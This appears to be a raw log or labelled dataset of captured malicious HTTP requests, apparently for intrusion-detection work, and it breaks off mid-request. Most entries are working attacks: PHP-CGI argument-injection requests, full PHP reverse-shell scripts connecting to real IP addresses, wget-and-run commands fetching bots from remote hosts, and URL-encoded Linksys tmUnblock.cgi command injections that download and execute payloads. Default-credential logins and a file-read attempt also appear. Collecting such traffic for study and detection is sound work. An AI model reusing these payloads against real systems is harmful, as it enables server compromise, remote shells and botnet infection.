/cgi-bin/php5?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1\r\nAccept: text/html, application/xhtml+xml, */*\r\nConnection: Keep-Alive\r\nContent-Length: 25\r\nContent-Type: text/html\r\nExpect: 100-continue\r\nHost: www.www.www.www\r\nUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)\r\n\r\n<?php echo xocoder123; ?> 1 POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1\r\nConnection: close\r\nContent-Length: 2292\r\nContent-Type: application/x-www-form-urlencoded\r\nHost: yyy.yyy.yyy.yyy\r\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25\r\n\r\n<?php\nset_time_limit(0);\n$ip = '162.213.25.66';\n$port = 3133;\n$chunk_size = 1400;\n$write_a = null;\n$error_a = null;\n$shell = 'unset HISTFILE; unset HISTSIZE;killall -9 perl;wget -q http://162.213.25.66/bot.pl -P /tmp;perl /tmp/bot.pl;uname -a; w; id; /bin/sh -i';\n$daemon = 0;\n$debug = 0;\nif (function_exists('pcntl_fork')) {\n $pid = pcntl_fork(); \n if ($pid == -1) {\n printit("ERROR: Can't fork");\n exit(1);\n }\n if ($pid) {\n exit(0);\n }\n if (posix_setsid() == -1) {\n printit("Error: Can't setsid()");\n exit(1);\n }\n $daemon = 1;\n} else {\n printit("WARNING: Failed to daemonise.");\n}\nchdir("/");\numask(0);\n$sock = fsockopen($ip, $port, $errno, $errstr, 30);\nif (!$sock) {\n printit("$errstr ($errno)");\n exit(1);\n}\n$descriptorspec = array(\n 0 => array("pipe", "r"),\n 1 => array("pipe", "w"),\n 2 => array("pipe", "w")\n);\n$process = proc_open($shell, $descriptorspec, $pipes);\nif (!is_resource($process)) {\n printit("ERROR: Can't spawn shell");\n exit(1);\n}\nstream_set_blocking($pipes[0], 0);\nstream_set_blocking($pipes[1], 0);\nstream_set_blocking($pipes[2], 0);\nstream_set_blocking($sock, 0);\nwhile (1) {\n if (feof($sock)) {\n printit("ERROR: Shell connection terminated");\n break;\n }\n if (feof($pipes[1])) {\n printit("ERROR: Shell process terminated");\n break;\n }\n $read_a = array($sock, $pipes[1], $pipes[2]);\n $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);\n if (in_array($sock, $read_a)) {\n if ($debug) printit("SOCK READ");\n $input = fread($sock, $chunk_size);\n if ($debug) printit("SOCK: $input");\n fwrite($pipes[0], $input);\n }\n if (in_array($pipes[1], $read_a)) {\n if ($debug) printit("STDOUT READ");\n $input = fread($pipes[1], $chunk_size);\n if ($debug) printit("STDOUT: $input");\n fwrite($sock, $input);\n }\n if (in_array($pipes[2], $read_a)) {\n if ($debug) printit("STDERR READ");\n $input = fread($pipes[2], $chunk_size);\n if ($debug) printit("STDERR: $input");\n fwrite($sock, $input);\n }\n}\n\nfclose($sock);\nfclose($pipes[0]);\nfclose($pipes[1]);\nfclose($pipes[2]);\nproc_close($process);\nfunction printit ($string) {\n if (!$daemon) {\n print "$string\n";\n }\n}\nexit(1);\n?> 1 POST /tmUnblock.cgi HTTP/1.1\r\nContent-Length: 1036\r\n\r\n%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%31%32%31%31%64%66%36%62%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%31%32%31%31%64%66%36%62%20%68%74%74%70%3a%2f%2f%31%39%33%2e%31%30%38%2e%34%39%2e%31%35%34%3a%33%32%30%30%22%20%3e%3e%20%2e%31%32%31%31%64%66%36%62%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%31%32%31%31%64%66%36%62%22%20%3e%3e%20%2e%31%32%31%31%64%66%36%62%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%31%32%31%31%64%66%36%62%22%20%3e%3e%20%2e%31%32%31%31%64%66%36%62%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%31%32%31%31%64%66%36%62%22%20%3e%3e%20%2e%31%32%31%31%64%66%36%62%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%31%32%31%31%64%66%36%62%2e%73%68%3b%2e%2f%2e%31%32%31%31%64%66%36%62%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31 1 POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1\r\nAccept: text/html, application/xhtml+xml, */*\r\nContent-Length: 25\r\nContent-Type: text/html\r\nExpect: 100-continue\r\nHost: www.www.www.www\r\nUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)\r\n\r\n<?php echo xocoder123; ?> 1 POST /tmUnblock.cgi HTTP/1.1\r\nContent-Length: 1033\r\n\r\n%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%65%37%37%66%31%38%33%34%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%65%37%37%66%31%38%33%34%20%68%74%74%70%3a%2f%2f%32%31%31%2e%32%34%2e%34%37%2e%31%34%37%3a%33%32%30%30%22%20%3e%3e%20%2e%65%37%37%66%31%38%33%34%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%65%37%37%66%31%38%33%34%22%20%3e%3e%20%2e%65%37%37%66%31%38%33%34%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%65%37%37%66%31%38%33%34%22%20%3e%3e%20%2e%65%37%37%66%31%38%33%34%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%65%37%37%66%31%38%33%34%22%20%3e%3e%20%2e%65%37%37%66%31%38%33%34%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%65%37%37%66%31%38%33%34%2e%73%68%3b%2e%2f%2e%65%37%37%66%31%38%33%34%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31 1 POST /tmUnblock.cgi HTTP/1.1\r\nContent-Length: 1027\r\n\r\n%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%33%37%39%33%35%34%36%65%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%33%37%39%33%35%34%36%65%20%68%74%74%70%3a%2f%2f%32%31%31%2e%32%34%2e%31%32%2e%34%3a%33%32%30%30%22%20%3e%3e%20%2e%33%37%39%33%35%34%36%65%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%33%37%39%33%35%34%36%65%22%20%3e%3e%20%2e%33%37%39%33%35%34%36%65%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%33%37%39%33%35%34%36%65%22%20%3e%3e%20%2e%33%37%39%33%35%34%36%65%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%33%37%39%33%35%34%36%65%22%20%3e%3e%20%2e%33%37%39%33%35%34%36%65%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%33%37%39%33%35%34%36%65%2e%73%68%3b%2e%2f%2e%33%37%39%33%35%34%36%65%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31 1 POST /tmUnblock.cgi HTTP/1.1\r\nContent-Length: 1036\r\n\r\n%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%65%32%65%66%38%62%62%64%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%65%32%65%66%38%62%62%64%20%68%74%74%70%3a%2f%2f%37%36%2e%31%37%37%2e%31%31%31%2e%32%35%33%3a%33%32%30%30%22%20%3e%3e%20%2e%65%32%65%66%38%62%62%64%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%65%32%65%66%38%62%62%64%22%20%3e%3e%20%2e%65%32%65%66%38%62%62%64%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%65%32%65%66%38%62%62%64%22%20%3e%3e%20%2e%65%32%65%66%38%62%62%64%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%65%32%65%66%38%62%62%64%22%20%3e%3e%20%2e%65%32%65%66%38%62%62%64%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%65%32%65%66%38%62%62%64%2e%73%68%3b%2e%2f%2e%65%32%65%66%38%62%62%64%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31 1 POST /tmUnblock.cgi HTTP/1.1\r\nContent-Length: 1036\r\n\r\n%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%66%35%61%63%62%66%39%61%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%66%35%61%63%62%66%39%61%20%68%74%74%70%3a%2f%2f%31%37%34%2e%35%35%2e%31%36%36%2e%31%32%32%3a%33%32%30%30%22%20%3e%3e%20%2e%66%35%61%63%62%66%39%61%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%66%35%61%63%62%66%39%61%22%20%3e%3e%20%2e%66%35%61%63%62%66%39%61%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%66%35%61%63%62%66%39%61%22%20%3e%3e%20%2e%66%35%61%63%62%66%39%61%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%66%35%61%63%62%66%39%61%22%20%3e%3e%20%2e%66%35%61%63%62%66%39%61%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%66%35%61%63%62%66%39%61%2e%73%68%3b%2e%2f%2e%66%35%61%63%62%66%39%61%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31 1 POST /cgi-bin/php5?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1\r\nAccept: text/html, application/xhtml+xml, */*\r\nConnection: Keep-Alive\r\nContent-Length: 25\r\nContent-Type: text/html\r\nExpect: 100-continue\r\nHost: yyy.yyy.yyy.yyy\r\nUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)\r\n\r\n<?php echo xocoder123; ?> 1 POST /tmUnblock.cgi HTTP/1.1\r\nContent-Length: 1036\r\n\r\n%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%34%38%61%63%38%63%64%61%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%34%38%61%63%38%63%64%61%20%68%74%74%70%3a%2f%2f%31%31%32%2e%32%30%39%2e%37%33%2e%32%31%37%3a%33%32%30%30%22%20%3e%3e%20%2e%34%38%61%63%38%63%64%61%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%34%38%61%63%38%63%64%61%22%20%3e%3e%20%2e%34%38%61%63%38%63%64%61%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%34%38%61%63%38%63%64%61%22%20%3e%3e%20%2e%34%38%61%63%38%63%64%61%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%34%38%61%63%38%63%64%61%22%20%3e%3e%20%2e%34%38%61%63%38%63%64%61%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%34%38%61%63%38%63%64%61%2e%73%68%3b%2e%2f%2e%34%38%61%63%38%63%64%61%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31 1 POST /cgi-bin/wlogin.cgi HTTP/1.1\r\nConnection: Keep-Alive\r\nContent-Length: 27\r\nContent-Type: application/x-www-form-urlencoded\r\nExpect: 100-continue\r\nHost: www.www.www.www\r\n\r\naa=YWRtaW4%3d&ab=YWRtaW4%3d 1 POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1\r\nConnection: close\r\nContent-Length: 2171\r\nContent-Type: application/x-www-form-urlencoded\r\nHost: www.www.www.www\r\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25\r\n\r\n<?php system("wget 208.85.177.238/.x/hb/php04 -O /tmp/.bash_h1s7;perl /tmp/.bash_h1s7 85.214.73.166;rm -rf /tmp/.bash_h1s7 &"); ?>set_time_limit(0);\n$ip = '91.121.105.21';\n$port = 22;\n$chunk_size = 1400;\n$write_a = null;\n$error_a = null;\n$shell = 'unset HISTFILE; unset HISTSIZE; uname -a; w; id; /bin/sh -i';\n$daemon = 0;\n$debug = 0;\nif (function_exists('pcntl_fork')) {\n\t$pid = pcntl_fork();\t\n\tif ($pid == -1) {\n\t\tprintit("ERROR: Can't fork");\n\t\texit(1);\n\t}\n\tif ($pid) {\n\t\texit(0);\n\t}\n\tif (posix_setsid() == -1) {\n\t\tprintit("Error: Can't setsid()");\n\t\texit(1);\n\t}\n\t$daemon = 1;\n} else {\n\tprintit("WARNING: Failed to daemonise.");\n}\nchdir("/");\numask(0);\n$sock = fsockopen($ip, $port, $errno, $errstr, 30);\nif (!$sock) {\n\tprintit("$errstr ($errno)");\n\texit(1);\n}\n$descriptorspec = array(\n 0 => array("pipe", "r"),\n 1 => array("pipe", "w"),\n 2 => array("pipe", "w")\n);\n$process = proc_open($shell, $descriptorspec, $pipes);\nif (!is_resource($process)) {\n\tprintit("ERROR: Can't spawn shell");\n\texit(1);\n}\nstream_set_blocking($pipes[0], 0);\nstream_set_blocking($pipes[1], 0);\nstream_set_blocking($pipes[2], 0);\nstream_set_blocking($sock, 0);\nwhile (1) {\n\tif (feof($sock)) {\n\t\tprintit("ERROR: Shell connection terminated");\n\t\tbreak;\n\t}\n\tif (feof($pipes[1])) {\n\t\tprintit("ERROR: Shell process terminated");\n\t\tbreak;\n\t}\n\t$read_a = array($sock, $pipes[1], $pipes[2]);\n\t$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);\n\tif (in_array($sock, $read_a)) {\n\t\tif ($debug) printit("SOCK READ");\n\t\t$input = fread($sock, $chunk_size);\n\t\tif ($debug) printit("SOCK: $input");\n\t\tfwrite($pipes[0], $input);\n\t}\n\tif (in_array($pipes[1], $read_a)) {\n\t\tif ($debug) printit("STDOUT READ");\n\t\t$input = fread($pipes[1], $chunk_size);\n\t\tif ($debug) printit("STDOUT: $input");\n\t\tfwrite($sock, $input);\n\t}\n\tif (in_array($pipes[2], $read_a)) {\n\t\tif ($debug) printit("STDERR READ");\n\t\t$input = fread($pipes[2], $chunk_size);\n\t\tif ($debug) printit("STDERR: $input");\n\t\tfwrite($sock, $input);\n\t}\n}\n\nfclose($sock);\nfclose($pipes[0]);\nfclose($pipes[1]);\nfclose($pipes[2]);\nproc_close($process);\nfunction printit ($string) {\n\tif (!$daemon) {\n\t\tprint "$string\n";\n\t}\n}\nexit(1);\n?> 1 POST /tmUnblock.cgi HTTP/1.1\r\nContent-Length: 1033\r\n\r\n%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%39%31%30%65%36%62%33%32%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%39%31%30%65%36%62%33%32%20%68%74%74%70%3a%2f%2f%31%30%30%2e%34%33%2e%31%39%33%2e%37%34%3a%33%32%30%30%22%20%3e%3e%20%2e%39%31%30%65%36%62%33%32%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%39%31%30%65%36%62%33%32%22%20%3e%3e%20%2e%39%31%30%65%36%62%33%32%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%39%31%30%65%36%62%33%32%22%20%3e%3e%20%2e%39%31%30%65%36%62%33%32%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%39%31%30%65%36%62%33%32%22%20%3e%3e%20%2e%39%31%30%65%36%62%33%32%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%39%31%30%65%36%62%33%32%2e%73%68%3b%2e%2f%2e%39%31%30%65%36%62%33%32%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31 1 POST /tmUnblock.cgi HTTP/1.1\r\nContent-Length: 1030\r\n\r\n%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%61%62%66%32%36%30%39%38%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%61%62%66%32%36%30%39%38%20%68%74%74%70%3a%2f%2f%34%36%2e%31%30%2e%31%37%36%2e%31%33%3a%33%32%30%30%22%20%3e%3e%20%2e%61%62%66%32%36%30%39%38%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%61%62%66%32%36%30%39%38%22%20%3e%3e%20%2e%61%62%66%32%36%30%39%38%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%61%62%66%32%36%30%39%38%22%20%3e%3e%20%2e%61%62%66%32%36%30%39%38%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%61%62%66%32%36%30%39%38%22%20%3e%3e%20%2e%61%62%66%32%36%30%39%38%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%61%62%66%32%36%30%39%38%2e%73%68%3b%2e%2f%2e%61%62%66%32%36%30%39%38%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31 1 POST /tmUnblock.cgi HTTP/1.1\r\nContent-Length: 1033\r\n\r\n%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%32%34%31%36%38%35%62%39%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%32%34%31%36%38%35%62%39%20%68%74%74%70%3a%2f%2f%37%32%2e%31%33%33%2e%33%34%2e%31%35%34%3a%33%32%30%30%22%20%3e%3e%20%2e%32%34%31%36%38%35%62%39%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%32%34%31%36%38%35%62%39%22%20%3e%3e%20%2e%32%34%31%36%38%35%62%39%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%32%34%31%36%38%35%62%39%22%20%3e%3e%20%2e%32%34%31%36%38%35%62%39%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%32%34%31%36%38%35%62%39%22%20%3e%3e%20%2e%32%34%31%36%38%35%62%39%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%32%34%31%36%38%35%62%39%2e%73%68%3b%2e%2f%2e%32%34%31%36%38%35%62%39%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31 1 GET //vtigercrm/matrix.php?act=f&f=sip_additional.conf&d=%2Fetc%2Fasterisk HTTP/1.1\r\nAccept-Encoding: gzip, deflate\r\nHost: yyy.yyy.yyy.yyy\r\nUser-Agent: HTTP_Request2/0.5.2 (http://pear.php.net/package/http_request2) PHP/5.2.5 1 GET /r/nReferer: HTTP/1.1\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nAccept-Encoding: gzip,deflate,sdch\r\nAccept-Language: en-US,en;q=0.8\r\nConnection: keep-alive\r\nDnt: 1\r\nHost: ec2-xxx-xxx-xxx-xxx.us-west-2.compute.amazonaws.com\r\nReferer: http://192.168.56.101:8888/notebooks/Lab%205/Lab%202.1.ipynb\r\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.101 Safari/537.36 1 POST /cgi-bin/php4?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1\r\nAccept: text/html, application/xhtml+xml, */*\r\nContent-Length: 25\r\nContent-Type: text/html\r\nExpect: 100-continue\r\nHost: www.www.www.www\r\nUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)\r\n\r\n<?php echo xocoder123; ?> 1 POST /tmUnblock.cgi HTTP/1.1\r\nContent-Length: 1033\r\n\r\n%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%31%33%31%34%35%38%33%63%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%31%33%31%34%35%38%33%63%20%68%74%74%70%3a%2f%2f%36%36%2e%32%34%34%2e%36%34%2e%31%32%35%3a%33%32%30%30%22%20%3e%3e%20%2e%31%33%31%34%35%38%33%63%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%31%33%31%34%35%38%33%63%22%20%3e%3e%20%2e%31%33%31%34%35%38%33%63%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%31%33%